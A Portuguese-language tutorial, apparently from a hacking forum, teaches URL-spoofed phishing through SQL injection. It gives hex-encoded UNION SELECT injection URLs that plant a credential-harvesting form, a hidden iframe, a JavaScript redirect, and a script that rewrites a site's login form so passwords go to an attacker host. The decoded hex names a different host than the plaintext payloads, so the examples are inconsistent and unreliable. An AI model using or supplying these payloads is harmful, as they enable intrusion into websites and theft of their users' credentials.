URL Spoofed Phishing usando SQLi

Bem-vindo ao meu outro tutorial relacionado ao SQLi, desta vez, enquanto o título diz tudo, faremos phishing com falsificação de URL usando vulnerabilidade de injeção SQL. Para aqueles que ainda não leram os fundamentos da injeção de SQL, sugiro que você leia o guia N00bz para injeção de SQL.

Categorias: , , ,

Descrição

Bem-vindo ao meu outro tutorial relacionado ao SQLi, desta vez, enquanto o título diz tudo, faremos phishing com falsificação de URL usando vulnerabilidade de injeção SQL. Para aqueles que ainda não leram os fundamentos da injeção de SQL, sugiro que você leia o guia N00bz para injeção de SQL.

Se você é novo em phishing, deixe-me explicar, phishing é um ataque em que um invasor engana o usuário para inserir suas credenciais secretas que são enviadas a ele usando qualquer página ou aplicativo especialmente criado, etc.

O conceito:

Vamos injetar nossa carga na injeção de SQL e adicionar algum código extra à página da Web, assim como fizemos no XSS. Se você não leu o XSS com o SQL Injection Tutorial, leia isso para entender melhor.

Abordagens que podemos usar para alcançá-lo.

1. Encontrando a Vulnerabilidade.
2. Preparando a Consulta Injetável.
3. Injetar formulário HTML codificado no site (para n00bz como eu)
4. Injeção Iframe no site
5. Redirecionar usuário para sua página falsa (URL será alterado)
6. Injetar um javascript para alterar o formulário de login atual

Encontrando a Vulnerabilidade, Preparando a consulta Injetável, tudo vai na injeção SQL Básica. Leia-os antes de continuar.

Eu suponho que você leu todos eles.

Então vamos continuar

3. Injetar formulário codificado em HTML no site

Eu suponho que você leu os tutoriais acima para que possamos, por exemplo, pegar um site e digamos que a terceira coluna seja impressa na página como saída. Então vamos injetar nossa carga nisso. Para simplificar, vamos codificar nossa carga em hexadecimal.

Ou Payload

Code: Select all

<form action=http://thecybers.org/get_it.php method="POST">
Username : <input type="text" name="username"><br>
Password :<input type="text" name="password">
<input type="submit">
</form>
<iframe height=0 width=0>

Valor hexadecimal:

Code: Select all

0x3c666f726d20616374696f6e3d687474703a2f2f6576696c736974652e636f6d2f6765745f69742e706870206d6574686f643d22504f5354223e557365726e616d65203a203c696e70757420747970653d227465787422206e616d653d22757365726e616d65223e3c62723e50617373776f7264203a3c696e70757420747970653d227465787422206e616d653d2270617373776f7264223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3e3c696672616d65206865696768743d302077696474683d303e

Injetando nosso Payload

Code: Select all

http://thecybers.org/link.php?id=-1' union select 1,2,0x3c666f726d20616374696f6e3d687474703a2f2f6576696c736974652e636f6d2f6765745f69742e706870206d6574686f643d22504f5354223e557365726e616d65203a203c696e70757420747970653d227465787422206e616d653d22757365726e616d65223e3c62723e50617373776f7264203a3c696e70757420747970653d227465787422206e616d653d2270617373776f7264223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3e3c696672616d65206865696768743d302077696474683d303e,4--

O URL acima exibirá nossa carga útil no site. E o usuário verá um formulário no site, no qual, se ele fizer login, as credenciais serão enviadas ao atacante.

4. Injecção Iframe no site

Desta vez vamos injetar um iframe no site que torna a carga pequena e podemos fazer o login parecer muito melhor desta forma.

Payload

Code: Select all

<br><iframe src="http://thecybers.org/fakepage.php" height=300 width=300 frameBorder="0" scrolling="no"></iframe>

Valor hexadecimal

Code: Select all

0x3c62723e3c696672616d65207372633d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b65706167652e70687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e

Injetando nosso Payload

Code: Select all

http://thecybers.org/link.php?id=-1' union select 1,2,0x3c62723e3c696672616d65207372633d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b65706167652e70687022206865696768743d3330302077696474683d333030206672616d65426f726465723d223022207363726f6c6c696e673d226e6f223e3c2f696672616d653e,4--

O URL acima exibirá nossa carga útil no site. E o usuário verá um formulário no site, no qual, se ele fizer login, as credenciais serão enviadas ao atacante.

5. Redirecionar usuário para sua página falsa

Desta vez vamos injetar javascript no site que irá redirecionar o usuário para a nossa página.

Nosso Payload

Code: Select all

<script>window.location.href="http://thecybers.org/fakepage.php"</script>

Valor hexadecimal

Code: Select all

0x3c7363726970743e77696e646f772e6c6f636174696f6e2e687265663d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b65706167652e706870223c2f7363726970743e

Injetando nosso Payload

Code: Select all

http://thecybers.org/link.php?id=-1' union select 1,2,0x3c7363726970743e77696e646f772e6c6f636174696f6e2e687265663d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b65706167652e706870223c2f7363726970743e,4--

A url acima irá injetar o javascript na página que redirecionará o usuário para a nossa página de acesso, na qual, se ele fizer o login, as credenciais serão enviadas para o Attacker. A desvantagem é a parte de spoofing de URL. Que vamos cobrir no próximo ataque.

6. Injete um javascript para alterar o Formulário de Login Atual

Neste ataque, vamos injetar javascript no site que irá alterar a ação da página de login atual no site para o nosso link de página de login falso.
Nosso Payload

Code: Select all

<script>document.getElementsByTagName("form")[0].action="http://thecybers.org/fakepage.php"</script>

Hex Encoded value

Code: Select all

0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b65706167652e706870223c2f7363726970743e

Injetando o nosso payload:

Code: Select all

http://thecybers.org/link.php?id=-1' union select 1,2,0x3c7363726970743e646f63756d656e742e676574456c656d656e747342795461674e616d652822666f726d22295b305d2e616374696f6e3d22687474703a2f2f7777772e6576696c736974652e636f6d2f66616b65706167652e706870223c2f7363726970743e,4--

A url acima irá injetar o javascript na página que enviará as credenciais dos usuários logadas para a página real em nossa página de acesso.